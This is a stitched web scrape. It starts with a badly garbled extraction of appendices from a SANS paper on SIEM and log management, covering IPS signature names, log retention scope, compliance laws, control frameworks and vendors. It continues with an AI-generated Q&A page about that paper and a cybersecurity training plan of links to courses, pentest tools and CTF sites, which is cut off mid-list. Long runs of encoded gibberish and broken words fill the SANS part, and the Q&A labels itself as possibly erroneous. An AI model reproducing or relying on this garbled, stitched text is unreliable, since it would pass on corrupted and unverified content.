! ! David Swift , dgswift@verizon.net !@#$37/5)600,37&WORM: W32/Netsky@MM Worm 163399SMTP: Incorrect MIMEHeader with Executable Attachment Found 94146WORM:W32/MyWife.d@MM 4845SHELLCODE: Shellcode Detectedfor HP PA-RISCFamily CPUs 2333WORM: W32/Zafi@MM Worm 2329DCERPC: SRVSVC Buffer Overflow 2025NETBIOS-SS: Microsoft Server Service Remote Code Execution Vulnerability 54PCANYWHERE:HostLogon Engine Buffer Overflow 23WORM: W32/Netsky@MM Worm VariantsII 23BACKDOOR: Web Serve CT Backdoor 22SMB: NLTMSSP_AUTHUnauthorized ChangeServiceConfigW Request 11'$0,#A(JH1/9/-"0<)4$2%0&S3/7U,5(JH!B".CICJH$!B,5>69JC"&IC&"&!>$D)CH")CH"I!P?73=11>8>,5%)CHJ$C&&&!'$0,#AEFGHIJGKIL ZMLB`!Z%$aW,01UKbBB!Z/-9!"(% ;B*G`!@?7/--,70!B@BAc,=5,-!4>0+!AE,760=23,!T00=7+9,?0!R/6?5!J& ZMLB`Z%$aBKZ>8,#5bBB!&I ;cAdd:MVA`!;+,337/5,!V,0,70,58/-!cG!GT\L@;:R=9>3K!:GP1!$% ZMLB`!Z%$ae=8>bBB!Z/-9!$% V:ALG:`!;L<;<:!S688,-!MF,-83/4!$H WA*S@M;\;;`!B>7-/1/80!;,-F,-!;,-F>7,!L,9/0,!:/5,!AE,760>/?!<63?,-=2>3>0K!' G:TW^ZcALA`c/10!d/D/?!A?D>?,!S688,-!MF,-83/4!$ ZMLB`!Z%$aW,01UKbBB!Z/-9!<=->=?01@@!$ ST:QVMML`!Z,2!;,-F,!:*!S=7U5//-!$ ;BS`!Wd*B;;GNTP*cP?=60+/->f,5!:+=?D,;,-F>7,:/?8>DZ!L,g6,10!"W,04/-U!@?0-61>/?!G-,F,?0>/?!;K10,91!XW@G;Y !""#$%&'()*+,-.//-'(+&0&$12-())(032-4*#*- 5+$03*6-&7-)8*-"(2)-9/-6(,2:$"-;/-<+$03*6-!))(032 &B/?0+3K!;699=-K!L,./-0! \W@G;NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN "IO"IO"%O"$OIO)O)O(O(O'O;:c\I(I;Bc\J&)WM;\&"JLR:"J"I;Rc\'(&cTc\I''SB:\%)IR7#=U#8=7,2//U#7/98,,51#8/E1./-01#7/9-63,1#1,76-,1065>,1#7/96.5=0,#9>7-/1/80#7/910=0>7#?>?D#7/9g>U#7/9444#7-=>D13>10#/-D8#,#F>70/->=11,7-,0#7/9.>71#,2=K10=0>7#7/9 'Z,2! :/?0,?0!R>30,->?D!XZ:RY ("O"&O(O'O'O%O$O$O"O"O;.K4=-,;0-,=9>?DNB,5>=G,-1/?=31NhNV=0>?D;+/..>?DT5630N;,E6=33KNAE.3>7>0;./-01:/9.60>?DNhN@?0,-?,0A?0,-0=>?9,?0@?0>9=0,NT..=-,3NhN;4>94,=-G+/0/N;,=-7+,1*/.!S3/7U,5!:=0,D/->,1*/.!S3/7U,5!V,10>?=0>/?1 */.!S3/7U,5!d/7=0>/?1B/?0+3K!;699=-K!L,./-0! \Z:RNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN ! © 2010 The SANS Institute As part of the Informati on Security Reading Room Author retains full rights. !! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! "#$!%&'(#)*)&'+!,!-./0!.-12!1.03!0045!.567!5895!.467!:;83!-/;0!383; ! Successful SIEM and Log Management Strategies for Audit and Compliance | 31 ! ! David Swift , dgswift@verizon.net !Appendix D ± Record of Authority and Retention The protected network consists of all routed RFC1918 addresses (10.x.x.x, 172.16.x.x, 192.168.x.x), and the compa Q\¶s public address es consisting of network range A . The network ranges B, C, and D are desktops with no local data storage of Personally Identifiable Information (PII) and not in scope. The network range E is our DMZ, and has public facing servers for web, em ail, DNS, and other services, and all relevant security events are logged to our log management server X, and retained for 1 year, and sent to our security event management device Y for event correlation and threat detection where they are stored for 90 da ys online. The network range F is for internal servers with PII and other protected data and all relevant security events are logged to our log management server X, and retained for 1 year, and sent to our security event management device Y for event correlation and threat detection where they are stored for 90 days online. Trouble tickets are automatically created by threats detected on our security event management server, and their related follow up , analysis and remediation are stored on our ticket server Z. 5HSODFH$%&'«;<DQG=ZLWKWKHDSSURSULDWHV\VWHPVIRUWKHRUJDQL]DWLRQLQVFRSH ! © 2010 The SANS Institute As part of the Informati on Security Reading Room Author retains full rights. !! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! "#$!%&'(#)*)&'+!,!-./0!.-12!1.03!0045!.567!5895!.467!:;83!-/;0!383; ! Successful SIEM and Log Management Strategies for Audit and Compliance | 32 ! ! David Swift , dgswift@verizon.net !Appendix E - Compliance Regulations Basics and Links SOX / SARBOX -Sarbanes Oxley http://thomas.loc.gov/cgi -bin/bdquery/z?d107:HR03763 : Applies to all publicly traded companies. A majority of the regulations apply to auditing, the board of directors, disclosures, and improper trading. Section 404 (below), is interpreted to apply to IT. SOX, as it reads, is highly subjective with few IT specifics. ISO7799, PCI, or HIPPA provide better implementation specifics that you may wish to follow. Full text of bill: http://frwebgate.access.gpo.gov/cgi - bin/getdoc.cgi?dbname=107_cong_bills&docid=f:h3763enr.txt.pdf GLBA, GLB -Gramm -Leach -Bliley Act http://www.ftc.gov/p rivacy/privacyinitiatives/glbact.html +00.`aa444#D./#D/Fa851K1a.UDaGdTZ \"H(.623"H$a7/?0,?0 \5,0=>3#+093 ! ! Applies to the financial services industry (Insurance, Securities, Banki ng) Specifically makes pretexting illegal. With the exception of a few specific acts being made illegal, and fair credit and consumer rights being spelled out, little of the legislation is directly applicable to IT. ISO7799 is referred to as a starting p oint in many of the legislative summaries and practical implementation guides. PCI or HIPPA provide more tangible implementation specifics, that should, if followed, also provide proper controls for GLBA as well. ! ! © 2010 The SANS Institute As part of the Informati on Security Reading Room Author retains full rights. !! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! "#$!%&'(#)*)&'+!,!-./0!.-12!1.03!0045!.567!5895!.467!:;83!-/;0!383; ! Successful SIEM and Log Management Strategies for Audit and Compliance | 33 ! ! David Swift , dgswift@verizon.net !HIPAA ± Health Insurance Portability and Accountability Act HIPAA applies to healthcare, medical records, insurance, and other medical related business. The standard and summaries are quite lengthy and verbose in nature, but not difficult to implement, and relatively IT friendly with quite a bit of latitude in methods and implementation specifics. Most technical controls will be in section 164.308. Summary and Links: http://www.hhs.gov/ocr/hipaa/ Public Law (2003): http://aspe.hhs.gov/admnsimp/pl104191.htm FISMA - Federal Information Security Act (HR 2458 -51) http://csrc.nist.gov/drivers/documents/FISMA -final.pdf A snoozefest of legalese with little that is actionable in IT terms. Ironically though FISMA legislation has the least IT related detail, it requires the most from IT to comply as specified in the related NIST and FIPS standards for implementation and compliance. FISMA discusses a pyramid of goals based on Availability, Integrity and Confidentiality in order to provide security. Applies to governmental agencies, governmental contractors and telecommunications providers who provide services to anything deemed related to national security (very broad stroke). Also applies to Federal agencies, contractors, and any other company or organization that uses or operates an information system on behalf of a federal agency. PCI ± Payment Card Industry https://www.pcisecuritystandards.org/security_standards/pci_dss_download_agreement.html Applies to merchants and processors of Visa or Mastercard transactions. ! © 2010 The SANS Institute As part of the Informati on Security Reading Room Author retains full rights. !! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! "#$!%&'(#)*)&'+!,!-./0!.-12!1.03!0045!.567!5895!.467!:;83!-/;0!383; ! Successful SIEM and Log Management Strategies for Audit and Compliance | 34 ! ! David Swift , dgswift@verizon.net !Unlike SOX and GLBA, The standard is quite straight forward and IT specific and VKRXOGEHUHDGDQGUHYLHZHGLQLW¶VHQWLUHW\ NERC - North American Electric Reliability Corporation NERC stands for North American Electric Reliability Corporation (NERC), which is subject to Federal Energy Regulatory Commission (FERC) mandates and control. NERC applies to companies that generate, provider, or transmit energy. The primary focus of NERC is on SCADA, which stands for supervisory control and data acquisition devices and networks. The majority of IT related policies will be found in the Critical Infrastructure Protection Standards (CIP) standards. ! © 2010 The SANS Institute As part of the Informati on Security Reading Room Author retains full rights. !! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! "#$!%&'(#)*)&'+!,!-./0!.-12!1.03!0045!.567!5895!.467!:;83!-/;0!383; ! Successful SIEM and Log Management Strategies for Audit and Compliance | 35 ! ! David Swift , dgswift@verizon.net !Appendix F - Control Frameworks COSO ± 5 Internal Control Components ± Primary Reference for SOX 1. Control Environment 2. Risk Assessment 3. Control Activities 4. Information & Communication 5. Mo nitoring COBIT ± 4 Domains ± www.itgi.org 1. Planning and Organization 2. Acquisition and Implementation 3. Deliver and Support 4. Monitor and Evaluate Stated Goals: Effectiveness, Efficiency, Confidentiality, Integri ty, Availability, Compliance, Reliability Information Systems Audit and Control Association® (ISACA®) Certified auditors, and COBIT references. www.isaca.org SAS 70 http://www.sas70.com/about.htm Statement on Auditing Standards (SAS) No. 70, Service Organizations, is an internationally recognized auditing standard developed by the American Institute of Certified Public Accountants (AICPA). There are two classificati ons of SAS70 audits ± Type I (no verification), and Type II (with test and verification and documentation supporting testing of controls). FISCAM Federal Information System Controls Audit Manual ! © 2010 The SANS Institute As part of the Informati on Security Reading Room Author retains full rights. !! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! "#$!%&'(#)*)&'+!,!-./0!.-12!1.03!0045!.567!5895!.467!:;83!-/;0!383; ! Successful SIEM and Log Management Strategies for Audit and Compliance | 36 ! ! David Swift , dgswift@verizon.net !Appendix G ± Best Practices and Compliance Links NIST ± National Institute of Standards and Technology (800 series) http://csrc.nist.gov/publications/nistpubs/ (YHQLI\RX¶UHQRWVXEMHFWWRIHGHUDOFRPSOLDQFHD1,67KDVDZHDOWKRIJRRGGRFXPHQWDWLRQRQ securing nearly any type of device that can help in meeting any compliance goal. Most of the publications are free and available for electronic download. ISO/IEC ± International Organization for Standards / International Electrotechnical Commission 17799 / 27002:2005 Code of Practice for Information Security Management +00.`aa444#>1/#/-Da>1/a>1/N7=0=3/D6,a7=0=3/D6,N07a7=0=3/D6,N5,0=>3#+09i71?692,-j'H$ J)! DOJ - Department of Justice With respect to log usage for forensics, auditing and compliance, the department of justice standard states: 1Rules of evidence "If a business routinely relies on a record, that record may be used as evidence." http://www.usdoj.gov/criminal/cybercrime/usamarch2001_4.htm If you ever intend to prosecute a cyber crime, knowing and complying with DOJ standards of evidence and custody of evidence will significantly improve your chances. FIPS - Federal Information Processing Standards http://www.itl.nist.gov/fipspubs/ http://csrc.nist.gov/publications/fips/index.html ! © 2010 The SANS Institute As part of the Informati on Security Reading Room Author retains full rights. !! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! "#$!%&'(#)*)&'+!,!-./0!.-12!1.03!0045!.567!5895!.467!:;83!-/;0!383; ! Successful SIEM and Log Management Strategies for Audit and Compliance | 37 ! ! David Swift , dgswift@verizon.net !CIS - Center for Internet Security http://www.cisecurity.org/ CMS - Centers for Medicare and Medic aid Services http://www.cms.hhs.gov/ DISA Defense Information Systems Agency http://iase.disa.mil/policy.html GAAP ± Generally Accepted Accounting Principles Set by the Financial Accounting Standards Board (FASB), may appear as FASB -# Related: American Institute of Certified Public Accountants (AICPA) ! ! © 2010 The SANS Institute As part of the Informati on Security Reading Room Author retains full rights. !! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! "#$!%&'(#)*)&'+!,!-./0!.-12!1.03!0045!.567!5895!.467!:;83!-/;0!383; ! Successful SIEM and Log Management Strategies for Audit and Compliance | 38 ! ! David Swift , dgswift@verizon.net !Appendix H ± SIEM & Log Management Vendors ArcSight http://www.arcsight.com/ EIQ Networks http://www.eiqnetworks.com/ Intellitactics http://www.intellitactics.com/int/ LogLogic http://www.loglogic.com/ LogRhythm http://logrhythm.com/default.aspx NitroSecurity http://nitrosecurity.com/ Novel Sentinel http://www.novell.com/products/sentinel/ OpenService http://www.openservice.com/ Q1 Labs http://www.q1labs.com/ RSA enVision http://www.rsa.com/node.aspx?id=3182 SenSage http://www .sensage.com/ Splunk http://www.splunk.com/ Syslog NG http://www.balabit.com/network -security/syslog -ng/ TriGeo http://trigeo.com/ Last Updated: April 22nd, 2015 Upcoming SANS Training Click Here for a full list of all Upcoming SANS Events by Location SANS SEC401 London London, GB Apr 27, 2015 - May 02, 2015 Live Event SANS ICS London 2015 London, GB Apr 27, 2015 - May 02, 2015 Live Event SANS Bahrain 2015 Manama, BH May 02, 2015 - May 07, 2015 Live Event SANS Security West 2015 San Diego, CAUS May 03, 2015 - May 12, 2015 Live Event SANS Secure India 2015 Bangalore, IN May 04, 2015 - May 23, 2015 Live Event SANS Secure Europe 2015 Amsterdam, NL May 05, 2015 - May 23, 2015 Live Event SANS/NH-ISAC Healthcare Cybersecurity Summit Atlanta, GAUS May 12, 2015 - May 19, 2015 Live Event SANS Melbourne 2015 Melbourne, AU May 18, 2015 - May 23, 2015 Live Event SANS Pen Test Austin 2015 Austin, TXUS May 18, 2015 - May 23, 2015 Live Event SANS Secure Thailand 2015 Bangkok, TH May 25, 2015 - May 30, 2015 Live Event SANS ICS Security Training - Houston Houston, TXUS Jun 01, 2015 - Jun 05, 2015 Live Event SANS ICS410 Vienna in Association with IAEA Vienna, AT Jun 06, 2015 - Jun 10, 2015 Live Event SANS Dublin 2015 Dublin, IE Jun 08, 2015 - Jun 13, 2015 Live Event SANSFIRE 2015 Baltimore, MDUS Jun 13, 2015 - Jun 20, 2015 Live Event SANS Rocky Mountain 2015 Denver, COUS Jun 22, 2015 - Jun 27, 2015 Live Event SANS Pen Test Berlin 2015 Berlin, DE Jun 22, 2015 - Jun 27, 2015 Live Event Cyber Defence Canberra 2015 Canberra, AU Jun 29, 2015 - Jul 11, 2015 Live Event SANS Capital City 2015 Washington, DCUS Jul 06, 2015 - Jul 11, 2015 Live Event Digital Forensics & Incident Response Summit Austin, TXUS Jul 07, 2015 - Jul 14, 2015 Live Event European Security Awareness Summit London, GB Jul 08, 2015 - Jul 10, 2015 Live Event SANS London in the Summer London, GB Jul 13, 2015 - Jul 18, 2015 Live Event SANS Minneapolis 2015 Minneapolis, MNUS Jul 20, 2015 - Jul 25, 2015 Live Event SANS San Jose 2015 San Jose, CAUS Jul 20, 2015 - Jul 25, 2015 Live Event Security Operations Center Summit & Training OnlineDCUS Apr 24, 2015 - May 01, 2015 Live Event SANS OnDemand Books & MP3s OnlyUS Anytime Self Paced --- ## Source: https://montance.com/questions.php?id=65 [![pdf](content/images/icons/pdf.svg) SANS - successful siem log management strategies.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgYXVVLU93X2FSZTQ/view?usp=sharing) Sans Successful SIEM Log Management Strategies Guide on planning and implementing effective log management and SIEM strategies. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the 'Project Planning' phase's most critical output for a SIEM deployment? A: A clear definition of the specific problems the SIEM is solving (e.g., compliance vs. threat detection) to prevent scope creep. * Q: How does 'Log Normalization' directly impact detection logic? A: It enables correlation rules to work across disparate devices (e.g., Cisco firewall and Windows server) by standardizing fields like IP and Username. * Q: What is the operational risk of failing to 'Archive' SIEM data? A: Performance degradation of the active database, leading to slow queries and missed alerts due to ingestion lag. * Q: Why is 'User Account Management' within the SIEM critical? A: To ensure that access to sensitive log data is restricted and auditable, preventing insider misuse of the security tool itself. * Q: How does the 'Lessons Learned' loop improve SIEM content? A: It uses data from actual incidents to tune existing rules and create new ones, ensuring the SIEM evolves with the threat landscape. * Q: What implies the need for 'Emergency Content Development'? A: The realization that new threats (zero-days) require immediate, ad-hoc rules that may bypass standard change control for speed. * Q: What is the strategic value of 'Time Synchronization' for the SIEM? A: It is the fundamental requirement for correlation; without it, the sequence of events cannot be determined, making attack reconstruction impossible. * Q: How does the document suggest managing 'Agent Updates'? A: By anticipating the need for updates as part of the application lifecycle, ensuring visibility isn't lost when source systems change. * Q: What is the 'Steering Committee' role in SIEM success? A: To provide the political cover and authority needed to force system owners to provide logs and support the SIEM initiative. * Q: How does 'Data Classification' align with SIEM design? A: It helps determine which logs must be retained for long periods (compliance) versus which can be dropped quickly (operational noise). ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgRVNTRnRkT3NtYjA/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgRVNTRnRkT3NtYjA/view?usp=sharing]** TABLE OF CONTENTS o o o o o o o o o o o o o o --- ## Source: https://montance.com/questions.php?id=64 [![pdf](content/images/icons/pdf.svg) SecureWorks - The Total Economic Impact of MSS.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgRVNTRnRkT3NtYjA/view?usp=sharing) Secureworks The Total Economic Impact Of MSS Analysis of the economic benefits and costs of Managed Security Services. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. ## Be the first to ask a question! ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1PNryYiMuxYORbm2nnvYrfrYI9MZ-_pQ3/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1PNryYiMuxYORbm2nnvYrfrYI9MZ-_pQ3/view?usp=sharing]** Cyber Security Training Plan p 1/11 v20190 605 CyberSecurity Training Plan Cyber security (or Information Security , InfoSec ) is an exciting field. Hacking seems to b e cool, and almost every movie (click here ) shows how easy the convenient, 3D hacking interface is. However, in real -life it takes a lot of work. You need to learn a lot of technical stuff about networking, computers, servers and how various tools work. Whether you are new to cyber security, or you are an experienced IT pro who wants to make sure you have your security ‘bases’ covered, this document is for you. It is built with links to freely available web sites, videos, training, and live cyber ranges by input from experienced InfoSec professionals . If you find a bad link or know of/find something we should add, email me ( click here ). Advice1: Be careful and stay in scope of what you want to lear n. Security field is so huge but is so mixed. If you know network security, it's assumable that you'll know a lot from web application and systems security too, because they use networking a lot. and programming languages that you'll have to learn in the w hole process. To be good, it takes few years. To be great, it may take a lifetime. Set your goals higher than what you expect to do in a day and reward yourself after each task. Because there are a number of ‘paths’ that you can take in cyber security: p rogramming, threat hunting, hardware, Internet of Things (IoT), governance, etc. do not be discouraged if you like 95% of this but do not take to programming. Relax! There is a lot of room and variability in the professional field to move around in. Also note that this is just a start . Even if you learned everything contained in this document, the industry is ALWAYS changing. Technology advances, threat actors adapt, and businesses change. This does not include every security tool available by a long shot, it is just a st art with some of the more important (and basic) ones. Learning is not just how you start in InfoSec, it is a way of life. Remember: the bad guys are always learning; you must keep your mental razor sharp to stay in the game. If you do not like to learn you have picked the wrong field… continuous learning comes with the job. One more thing: many of these techniques and tools can be used both for good (‘White Hat ’) and evil (‘Black Hat ’). Being ethical throughout your career in your use of thi s knowledge is a critical part of your p ersonal responsibility as an aspiring ‘ethical hacker ’. They are also a staple of most major secur ity certifications ( e.g., the CISSP; click here ) so be aware that not only can misuse of this knowledge impact your future career , but also that most professionals are ethical ly REQUIRED to report you. Choose wisely. Enjoy … and welcome to your first steps into a larger world young padawan. 😉 1. Basics1 https://www.cybrary.it/course/intro -to-infosec/ This is just a good overview of the information security (also called cyber security) field . Learn the following fundamental skills2: • How Computers Work https://computer.howstuffworks.com/operating -system.htm https://edu.gcfglobal.org/en/comp uterbasics/understanding -operating -systems/1/ https://www.quora.com/How -does -Windows -work -on-the-most -basic -level Cyber Security Training Plan p 2/11 v20190 605 • Basic Windows https://www.quora.com/How -does -Microsoft -Windows -work http://www.cs.sjsu.edu/faculty/beeson/courses/cs130/LectureNot esDotNet/1 -HowWindowsWorks.html • Basic Linux https://linuxjourney.com https://lifehacker.com/how -to-get-started -with -the-linux -operating -system -1819644874 https://www.youtube.com/watch?v=wBp0Rb -ZJak https://www.guru99.com/unix -linux-tutorial.html https://ryanstutorials.net/linuxtutorial/ https://www.youtube.com/watch?v=V1y -mbWM3B8&vl=en • Servers https://www.lifewire.com/servers -in-computer -networking -817380 https://en.wikipedia.org/wiki/Server_(computing) • Virtual Machines https://www.my -tiny.net/index.htm • Architecture https:/ /www.cybrary.it/skill -certification -course/security -architecture -fundamentals -certification -training -course https://www.cybrar y.it/skill -certification -course/enterprise -security -architecture -certification -training -course • Basic Networking https://www.cybrary.it/sk ill-certification -course/network -fundamentals -certification -training -course • OSI (Open Source Interconnect) Model https://www.youtube.com/watch?v=HEEnLZV2wGI https://www.networkworld.com/article/3239677/the -osi-model -explained -how -to-understand -and-remember -the-7- layer -network -model.html https://app.cybrary.it/browse/skill -certification -course/open -systems -interconnection -model -osi-model -certification - train ing-course • DHCP (Dynamic Host Configuration Protocol) https://whatismyipaddress.com/dhcp • DNS (Domain Name Service) https://www.cybrary.it/skill -certification -course/strategic -dns-ops-and-security -certification -training -course • IPv4 (Internet Protocol version 4) https://www.cybrary.it/skill -certification -course/tcp -ip-certification -training -course Cyber Security Training Plan p 3/11 v20190 605 • IPv6 (Internet Protocol version 6) https://www.tutorialspoint.com/ipv6/ https://www.youtube.com/watch?v=iR8ve5tTWAA • ARP ( Address Resolution Protocol ) https://erg.abdn.ac.uk/users/gorry/course/i net-pages/arp.html • MAC (Media Access Control) https://whatismyipaddress.com/mac -address https://aruljohn.com/mac.pl • NAT (Network Address Translation ) https://www.youtube.com/watch?v=FTUV0t6JaDA • Subnetting https://www.cybrary.it/skill -certification -course/subnetting -certification -training -course • TCP (Transmission Control Protocol) https://www.cybrary.it/skill -certification -course/tcp -ip-certification -training -course • UDP (User Datagram Protocol) https://www.tutorialspoint.com/data_communication_computer_network/user_datagram_pro tocol.htm • ICMP (Internet Control Message Protocol) http://www.linuxplanet.com/linuxplanet/tutorials/6524/1 • TLS/SSL (Transport Layer Security / Secure Sockets Layer) https://blog.talpor.com/2015/07/ssltls -certificates -beginners -tutorial/ https://blog.talpor.co m/2015/07/ssltls -certificates -beginners -tutorial/ https://www.cybrary.it/skill -certification -course/protecting -data -in-transit -certi fication -training -course https://www.youtube.com/watch?v=hExRDVZHhig • IPsec https://en.wikipedia.org/wiki/IPsec https://www.cisco.com/c/en/us/td/docs/wireless/asr_5000/20/IPSec/b_20_IPSec/b_20_IPSec_chapter_01.pdf • BGP (Border Gateway Protocol) https://searchnetworking.techtarget.com/feature/BGP -tutorial -The-routing -protocol -that -makes -the-Internet -work • GRE (Generic Routing Encapsulation ) https://www.incapsula.com/blog/what -is-gre-tunnel.html https://www.9tut.com/gre -tunnel -tutorial Cyber Security Training Plan p 4/11 v20190 605 • Common ports and services http://www.pearsonitcertification.com/articles/article.aspx?p=1868080 http://packetlife.net/media/library/23/common _ports.pdf • Basic security concepts like NIPS, NIDS, SIEMS, mitigation, security policies. https://www.cybrary.it/skill -certification -course/ids -ips-certification -training -course • Common vulnerabilities, and exploits https://www.cybrary.it/skill -certification -course/web -app-secur ity-fundamentals -certification -training -course https://w https://resources.infosecinstitute.com/useful -linux -commands/#gref ww.cybrary.it/skill -certification - course/fundamental -vulnerability -management -certification -training -course https://www.cisecurity.org/controls/ https://www.guru99.com/web -security -vulnerabiliti es.html https://www.godaddy.com/garage/7 -common -website -security -vulnerabilities -small -businesses -need -to-know - about/ • Types of malware and exploits https://www.cybrary.it/skill -certification -course/malware -fundamentals -certification -training -course 2. Using Command Line • ENSIA Good Practice Guide https://www.enisa.europa.eu/publications/good -practice -guide -for-incident -management p68 • Command Line for Windows Forensics https://resources.infosecinstitute.com/commandline -malware -and-forensics/ • 22 Essential Linux security command line tools https://www.networkforld.com/article/3272286/22 -essential -security -commands -for-linux.html • https://resources.infosecinstitute.com/useful -linux -commands/#gref • Windows Command Line Che at Sheet (SANS) https://www.sans.org/security -resources/sec560/windows_command_line_sheet_v1.pdf • Linux Command Line Cheat Sheet (SANS) https://digital -forensics.sa ns.org/media/linux -shell -survival -guide.pdf • Intrusion Discovery Cheat S heet (SANS ) o Linux https://pen -testing.sans.org/retrieve/linux -cheat -sheet.pdf o Windows https://pen -testing.sans.org/retrieve/windows -cheat -sheet.pdf • Powershell o https://blog.netwrix.com/2018/02/21/windows -powershell -scripting -tutorial -for-beginners/ o https://www.tutorialspoint.com/powershell/index.htm o https://www.youtube.com/watch?v=IHrGresKu2w (for beginners) o https://www.youtube.com/watch?v=XiGGb5v8yAo (Intro and Scripting Cyber Security Training Plan p 5/11 v20190 605 3. Languages1 Learn them in this order for scalability of your skills: • Python (stick with it , it’s worth it ) https://www.cybrary.it/course/python/ https:// www.cybrary.it/catalog/practice_labs/introduction -programming -using -python/ https://www.cybrary.it/course/python -security -professionals -archive/ • GO https://golang.org/ https://www.youtube.com/watch?v=CpaiJkSJS6s • For basic understanding of memory management, assembly, sockets and basic stuff it is also helpful to know : • C https://www.learn -c.org/ https://www.youtube.com/watch?v=KJgsSFOSQv0 https://www.cybrary.it/ca talog/transcender_tests/mscert -programming -in-c/ • C++ https://www.programiz.com/cpp -programming http://www.cplusplus.com/doc/tutorial/ https://www.youtube.com/watch?v=ismOm95Op7Y • Java https://www.programiz.com/java -programming https://www.codecademy.com/learn/learn -java https://www.youtube.com/watch?v=uWYPVz_i7W4&vl=en • Other languages should be learnt according to their usability... like if you want to know about win32 api, learn C#/VB/F#/VC++. Not necessary. You'll mostly be using tools to perform security checks in office environment. 4. Penetration Testing a. Overview https://www.microsoftpressstore.com/articles/article.aspx?p=2224048&seqNum=3 https://www.cybrary.it/course/ethical -hacking/ https://www.cybrary.it/course/advanced -penetration -testing/ https://www.guru99.com/learn -penetration -testing.html b. Basic Tools to play around with1 (https://www.pentestgeek.com/hacking -tools ) • Kali Linux https://www.kali.org/ https://www.cybrary.it/cour se/kali -linux -fundamentals https://www.kali.org/category/tutorials/ Cyber Security Training Plan p 6/11 v20190 605 • Wireshark https://www.wireshark.org/ https://www.howtogeek.com/104278/how -to-use-wireshark -to-capture -filter -and-inspect -packets/ https://hackertarget. com/wireshark -tutorial -and-cheat -sheet/ • Ettercap https://pentestmag.com/ettercap -tutorial -for-windows/ https://www.poftut.com/ettercap -tutorial -network -sniffing -man -middle/ • Metasploit https://www.metasploit.com/ https://www.offensive -security.com/metasploit -unleashed/ https://www.cybrary.it/course/metasploit/ • Aircrack https://www.aircrack -ng.org/ • Burp suite https://portswigger.net/burp/ https://www.pentestgeek.com/web -applications/burp -suite -2-0-beta -review • Bro (now Zeek) https://www.zeek.org/documentation/tutorials/index.html https://www.zeek.org/playground/ • Hashcat https://hashca t.net/hashcat/ • Nmap https://nmap.org/ • TCPDump https://openmaniak.com/tcpdump.php https://www.giac.org/paper/gsec/3489/beginners -guide -tcpdump/105700 • Scapy https://scapy.net https://theitgeekchronicles.files.wordpress .com/2012/05/scapyguide1.pdf • Snort https://www.snort.org https://openmaniak.com/snort.php Cyber Security Training Plan p 7/11 v20190 605 5. Practice the skills you learn with CTF'S (Capture the flag)2 After you ha ve done ALL of the above, go to one of the sites below, download/access some vulnerable machines, and try to capture the flags. Focus on one bug for a week and find all the vulnerable machines to exploit that bug. Make your own VM's and try to harden them, then exploit them. https://www.hackthebox.eu https://www.hackthissite.org http://overthewir e.org https://picoctf.com https://www.vulnhub.com http://www.dvwa.co.uk https://opencyberchallenge.net/ (Open Cyber Challenge Platform) 6. Security Incident and Event Management (SIEM) systems The use of SIEMs are a core monitoring tool in most organizations, but you can even run one in your home network. The se resources will help you get a good working knowledge of implementing, tuning, and using a SIEM system. • Open -Source SIEMs o Open Source SIEM, https://www.alienvault.com/products/ossim o OSSSEC, https://ossec.github.io/ o Securicata, https://suricata -ids.org/ o Security Onion, https://securityonion.net/ ▪ Installing and Configu ring https://www.youtube.com/watch?v=O5wNlI50Yss ▪ Intrusion Detection & Network Analysis https://www.youtube.com/watch?v=nR_gXjonHlQ ▪ Cheat Sheet from Chris Sanders https://chrissanders.org/2017/06/security -onion -cheat -sheet/ • Use Cases Use cases are a way to train a SIEM to recognize threats you want to protect yourself against in your network environment. o 2018 Popular SIEM Starter Use Cases https://securityboulevard.com/2018/07/2018 -popular -siem -starter -use-cases/ o Targeted SOC Use Cases for Effective Incident Detection and Response https://digital -forensics.sans.org/medi a/Targeted -SOC-Use-Cases -for-effective -Incident -Detection -and- Response -Angelo -Perniola -David -Gray.pdf o Top 10 SIEM Use Cases to Implement https://www.logpoint.com/en/underst and/top -10-use-cases -implement/ o Top 6 SIEM Use Cases https://resources.infosecinstitute.com/top -6-seim -use-cases/ Cyber Security Training Plan p 8/11 v20190 605 7. Incident Response Incident response is a critical function in most organizations. Here are some links you could follow to make sure . • NIST Computer Security Incident Handling Guide, SP 800-61r2, https://nvlpubs.nist.gov/nistpu bs/SpecialPublications/NIST.SP.800 -61r2.pdf • Computer Security Incident Handling Guide (NIST 800-61), https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.8 00-61r2.pdf • Good Practice Guide for Incident Management, https://www.enisa.europa.eu/publications/good -practice -guide -for-incident -management • Insider’s Guide to Incident Response https://www.alienvault.com/resource -center/ebook/insider -guide -to-incident -response • The Incident Handler’s Handbook https://www.sans.org/reading -room/whitepapers/incident/incident -handlers -handbook -33901 • https://www.cybrary.it/course/incident -response -and-handling/ 8. Digital 